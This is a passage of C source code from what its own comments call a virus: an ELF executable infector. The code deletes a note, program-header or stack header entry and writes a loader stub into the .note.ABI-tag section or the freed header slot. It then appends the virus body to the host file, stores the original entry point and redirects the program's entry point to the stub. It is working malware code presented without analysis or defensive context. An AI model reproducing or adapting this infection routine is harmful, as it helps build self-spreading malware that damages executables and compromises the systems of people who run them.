	/* find start (to calculate new entry) and end (to check whether we can
	remove PT_PHDR) of text segment */
	uint32_t b = 0, t = 0, o;
	for (i = 0; i < ehdr->e_phnum; i++)
		if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) {
			b = phdr[i].p_vaddr;
			t = phdr[i].p_vaddr + phdr[i].p_filesz;
		}
	if (b == 0)
		goto _unmap;
	/* do we have "unused" entries in PHT */
	char targets[3];
	int nt = 0;
	for (i = 0; i < ehdr->e_phnum; i++)
		if (phdr[i].p_type == PT_NOTE ||
		/* PT_PHDR cannot be removed if it is located outside loadable segment */
		/* FIXME: only text segment checked here */
		(phdr[i].p_type == PT_PHDR && phdr[i].p_vaddr >= b && phdr[i].p_vaddr < t) ||
		/* we cannot remove GNU_STACK if the stck ought to be executable */
		(phdr[i].p_type == PT_GNU_STACK && (phdr[i].p_flags & PF_X) == 0))
			targets[nt++] = i;
	if (nt == 0)
		goto _unmap;
	i = targets[random(nt)];
	t = phdr[i].p_type;
	o = phdr[i].p_offset;
	/* remove selected PHT entry */
	if (i != ehdr->e_phnum - 1)
		memcpy(&phdr[i], &phdr[i + 1], sizeof(Elf32_Phdr) * (ehdr->e_phnum - i - 1));
	ehdr->e_phnum--;
	/* patch loader */
	uint32_t nl = (l + 4095) & 0xfffff000;
	*(uint32_t*)(g->loader + PATCH_OFFSET) = nl;
	/* PT_NOTE points to section that can be removed */
	if (t == PT_NOTE && random(2) == 0) {
		/* replace .note.ABI-tag section */
		memcpy(m + o, g->loader, CSIZE);
	} else {
		/* replace PHT entry */
		o = ((char*)&phdr[ehdr->e_phnum] - (char*)m);
		memcpy(m + o, g->loader, CSIZE);
		
	}
	/* write virus body */
	ftruncate(h, nl);
	lseek(h, 0, 2);
	write(h, g->self, g->size);
	pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);

	/* update entry point */
	ehdr->e_entry = b + o;
